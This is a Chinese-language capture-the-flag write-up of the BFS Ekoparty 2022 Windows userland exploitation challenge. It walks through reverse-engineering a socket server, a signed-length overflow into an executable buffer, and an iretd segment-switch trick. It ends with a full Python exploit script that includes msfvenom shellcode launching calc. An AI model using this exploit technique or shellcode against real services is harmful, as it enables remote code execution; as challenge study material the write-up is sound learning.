BFS-Ekoparty2022-windows-pwn

Windows userland PWN

在逛论坛时发现一个Linux kernel的pwn题目,同时还有一个Windows,本来以为也是内核态,下载后发现是用户态,研究一下

网址:BFS Ekoparty 2022 Exploitation Challenges真好,还能直接发offer😭

eko

弹出计算机就算成功,不能使用额外的库。

  • 在本机win11 24h2进行调试

winchecksec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bfs-eko2022 ❯ winchecksec .\bfs-eko2022.exe
Warn: No load config in the PE
Results for: .\bfs-eko2022.exe
Dynamic Base : "Present"
ASLR : "Present"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "Present"
SEH : "Present"
CFG : "NotPresent"
RFG : "NotPresent"
SafeSEH : "NotApplicable"
GS : "NotPresent"
Authenticode : "NotPresent"
.NET : "NotPresent"

x64dbg 插件:checksec: x64dbg plugin to check security settings,可以看相关dll的保护。

没有GS保护?但是使用IDA打开

1
2
3
4
5
.text:0000000140001474                 mov     rcx, [rsp+0F68h+var_18]
.text:000000014000147C xor rcx, rsp ; StackCookie
.text:000000014000147F call __security_check_cookie
.text:0000000140001484 add rsp, 0F68h
.text:000000014000148B retn

创建一个socket,接收消息: 0.0.0.0:31415

接收0x1000长度的消息,接收握手消息Hello,发送 Hi

然后进入一个处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __fastcall sub_140001240(SOCKET a1)
{
int result; // eax
int v2; // eax
unsigned int i; // [rsp+20h] [rbp-F48h]
unsigned int len; // [rsp+24h] [rbp-F44h]
unsigned int lena; // [rsp+24h] [rbp-F44h]
CHAR CmdLine[3840]; // [rsp+30h] [rbp-F38h] BYREF
char v7; // [rsp+F30h] [rbp-38h]
char buf[11]; // [rsp+F40h] [rbp-28h] BYREF

for ( i = 0; i < 0x1000; i += 16 ) // 初始化buf
{
*(_QWORD *)&::buf[i] = 0x5050505050505050i64;
*(_QWORD *)&::buf[i + 8] = 0xCF58585858585858ui64;
}
printf(" [+] Processing request\n");
len = recv(a1, buf, 11, 0); // 接收cookie
if ( len == -1 )
return printf(" [-] Client data error\n");
if ( len < 0xBui64 )
return printf(" [-] Bad size\n");
if ( *(_QWORD *)buf != '2202okE' )
return printf(" [-] Wrong cookie value\n");
v7 = buf[8];
if ( buf[8] != 'T' ) // type
return printf(" [-] Invalid packet type\n");
if ( *(__int16 *)&buf[9] > 0xF00 )
return printf(" [-] Invalid packet size\n");
lena = recv(a1, ::buf, *(unsigned __int16 *)&buf[9], 0);// int16 -> uint16 小变大
printf(" [+] Data received: %i bytes\n", lena);
sub_1400011B0(CmdLine, ::buf, lena); // 内存copy
if ( v7 == 'T' )
{
printf(" [+] Message received: %s\n", CmdLine);
send(a1, CmdLine, lena, 0);
}
else
{
printf(" [-] Unsupported message\n");
v2 = strlen(Str);
send(a1, aUnsupportedMes_1, v2 + 1, 0);
}
result = v7;
if ( v7 == 'X' )
{
off_14000C000 = (__int64 (__fastcall *)(_QWORD))&::buf[lena];
return off_14000C000(CmdLine);
}
return result;
}

内存copy函数,某些字符在copy时会被替换为0。(看到后面发现这是一个提示?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall sub_7FF736B511B0(_BYTE *a1, _BYTE *a2, unsigned int a3)
{
__int64 result; // rax
unsigned int i; // [rsp+0h] [rbp-18h]

for ( i = 0; ; ++i )
{
result = a3;
if ( i >= a3 )
break;
if ( *a2 == 0x2B || *a2 == 0x33 )
*a1 = 0;
else
*a1 = *a2;
++a2;
++a1;
}
return result;
}

int16 -> unsigned int16 可以是负数转化后变为一个很大的数字,这样可以读的缓冲区就很大了。

可以修改 v7 为 X,但是不能太长,因为存在GS保护。

最后执行这个函数

1
2
3
4
5
if ( v7 == 'X' )
{
off_14000C000 = (__int64 (__fastcall *)(_QWORD))&::buf[lena];
return off_14000C000(CmdLine);
}

这个一个virtualAlloc的区域

1
2
3
4
5
6
7
8
buf = (char *)VirtualAlloc((LPVOID)0x10000000, 0x1000ui64, 0x3000u, 0x40u);

LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);

最后一个属性:0x40代表 PAGE_EXECUTE_READWRITE 表明这片区域可执行。因此最后是跳转到我们输入的shellcode执行。

初始化的时候,写了数据,反编译后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
debug033:0000000010000000                 push    rax
debug033:0000000010000001 push rax
debug033:0000000010000002 push rax
debug033:0000000010000003 push rax
debug033:0000000010000004 push rax
debug033:0000000010000005 push rax
debug033:0000000010000006 push rax
debug033:0000000010000007 push rax
debug033:0000000010000008 pop rax
debug033:0000000010000009 pop rax
debug033:000000001000000A pop rax
debug033:000000001000000B pop rax
debug033:000000001000000C pop rax
debug033:000000001000000D pop rax
debug033:000000001000000E pop rax
debug033:000000001000000F iret

无论如何最后还是得执行这一段代码中的某些部分

iret 的作用:IRET(interrupt return)中断返回,中断服务程序的最后一条指令。IRET指令将推入堆栈的段地址和偏移地址弹出,使程序返回到原来发生中断的地方。相当于POP RIP|CS|RFLAGS|SP|SS

这里主要是段寄存器的处理,因为与寻址有关。在 real mode 下 cs:ip = cs << 4 + ip

但是在保护模式下段寄存器依然是16位,但是意义大不一样。参考:段式管理的数据结构

GDTR保存GDT的相关信息,也就是GDT表的起始地址和大小

1
2
3
4
typedef struct {
uint16_t limit; // GDT 最大长度
uint64_t base; // GDT 基地址,在x86下是 uint32_t
} GDTR;

GDT表中的内容:段描述符,记录段的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct {
uint16_t limit_low; // 段限界 0-15 bits (Segment Limit)
uint16_t base_low; // 基地址 0-15 bits (Base Address)
uint8_t base_mid; // 基地址 16-23 bits (Base Address)
uint8_t type : 4; // 段类型 (Segment Type)
uint8_t s : 1; // 描述符类型 (Descriptor Type, 0=system, 1=code or data)
uint8_t dpl : 2; // 描述符特权级别 (Descriptor Privilege Level)
uint8_t p : 1; // 段存在位 (Segment Present)
uint8_t limit_high : 4; // 段限界 16-19 bits (Segment Limit)
uint8_t avl : 1; // 可用位 (Available for use by system software)
uint8_t l : 1; // 64-bit code segment (0 for non-64-bit code segments)
uint8_t db : 1; // 默认操作大小 (Default Operation Size, 0=16-bit, 1=32-bit)
uint8_t g : 1; // 粒度 (Granularity, 0=byte, 1=4KB)
uint8_t base_high; // 基地址 24-31 bits (Base Address)
} SegmentDescriptor;

-------------------------------------------------------------------------------------------------------------
| Base 31:24 | G | D/B | L | AVL | Limit 19:16 | P | DPL | S | Type | Base 23:16 | Base 15:0 | Limit 15:0 |
-------------------------------------------------------------------------------------------------------------

段寄存器保存16位宽的段选择符segment selector

1
2
3
4
5
6
// 段选择器结构
typedef struct {
uint16_t rpl : 2; // 请求特权级别 (Request Privilege Level)
uint16_t ti : 1; // 描述符表指示器 (Table Indicator, 0 for GDT, 1 for LDT)
uint16_t index: 13; // 描述符表索引 (Descriptor Table Index)
} SegmentSelector;

cs,ss的值代表描述符在 LDT/GDT 中的偏移。

  • TI = 0 使用GDT
  • TI = 1 使用LDT

并且在 amd64 cpu下,段寄存器相对固定
- 0x00: 恒为0

  • 内核模式
    • CS寄存器的值为0x10,对应于GDT中的KERNEL_CODE_SELECTOR
    • SS0x18
  • 用户模式
    • CS寄存器的值为0x33,对应于GDT中的USER_CODE_SELECTOR,并设置RPL(请求特权级)为3。
    • SS 为 0x28

我们得到基址就可以获得 cs:ip 的值

使用IDA调试发生错误,使用WinDbgX调试

观察rsp

1
2
3
4
5
6
7
8
9
0:000> dq @rsp
00000000`012fe8d0 00000000`00000000 00000000`00000000
00000000`012fe8e0 00000000`00000000 00000000`00000000
00000000`012fe8f0 00000f02`00001000 00000000`00000000
00000000`012fe900 61616161`61616161 61616161`61616161
00000000`012fe910 61616161`61616161 61616161`61616161
00000000`012fe920 61616161`61616161 61616161`61616161
00000000`012fe930 61616161`61616161 61616161`61616161
00000000`012fe940 61616161`61616161 61616161`61616161

因此我们先让此函数执行6次 pop rax,在执行iretd(WinDbgX显示) 从而控制ss等寄存器。

我们程序原本的ss

1
2
3
4
0:000> r ss
ss=002b
0:000> r cs
cs=0033

这里就是比较难的点,需要我们知道 x86_64下,iretd 需要pop的是x86的cs和ss。也就是寻找一个 SegmentDescriptor.l = 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// dg [selector [number]]

0: kd> r gdtr
gdtr=fffff8027bb59fb0

0: kd> dg 0x23
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0020 00000000`00000000 00000000`ffffffff Code RE Ac 3 Bg Pg P Nl 00000cfb

0: kd> dq fffff8027bb59fb0+0x20
fffff802`7bb59fd0 00cffb00`0000ffff 00cff300`0000ffff

0: kd> .formats 00cffb00`0000ffff
Evaluate expression:
Hex: 00cffb00`0000ffff
Decimal: 58541297597743103
Decimal (unsigned) : 58541297597743103
Octal: 0003177660000000177777
Binary: 00000000 11001111 11111011 00000000 00000000 00000000 11111111 11111111
Chars: ........
Time: Thu Jul 6 11:09:19.774 1786 (UTC + 8:00)
Float: low 9.18341e-041 high 1.91e-038
Double: 9.10834e-305

观察 l 位为0,代表为32位。同理找到 0x53 data segment

eflags可以直接调试得出,可以不改变

iretd 会转化一次架构位为x86架构,我们生成的shellcode为x64,再次转化架构也就是 jmp cs:ip 执行再次转化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import socket
import struct

def p64(v):
return struct.pack("<Q", v)

def p32(v):
return struct.pack("<I", v)

def p16(v):
return struct.pack("<H", v)

# addr = "192.168.85.128"
addr = "127.0.0.1"
port = 31415

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

conn.connect((addr, port))
if not conn:
print("[-] Error connect")
exit(1)

payload = b"Hello\x00"
conn.send(payload)
print(conn.recv(3))


"""
RIP|CS|RFLAGS|SP|SS
"""
ctx = p32(0x10000014) + p32(0x23) + p32(0x202) + p32(0x10000000) + p32(0x53)

# msfvenom -a x64 --platform Windows -p windows/x64/exec cmd="calc" -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41"
shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20"
shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31"
shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41"
shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67"
shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20"
shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34"
shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41"
shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
shellcode += b"\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00"
shellcode += b"\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00"
shellcode += b"\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode += b"\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
shellcode += b"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
shellcode += b"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
shellcode += b"\xda\xff\xd5\x63\x61\x6c\x63\x00"

'''
>>> asm("JMP 0x33:0x1000001c")
b'\xea\x1c\x00\x00\x103\x00'
'''
jmp_shellcode = b'\xea\x1c\x00\x00\x103\x00' # JMP 0x33:0x1000001c

'''
>>> asm("mov rsp, rcx")
b'H\x89\xcc'
'''
origin_rsp = b'H\x89\xcc'

padding = b"\x90" * 7
header = p64(0x323230326F6B45)
header += b"T"
header += p16(0x8000)
data = ctx
data += jmp_shellcode + origin_rsp
data += shellcode
data += b"\x90" * (0xF00 - len(data))
data += b"X" + padding
conn.send(header + data)

第一次接触到段寄存器这种玩法,狠狠的学习了😤

参考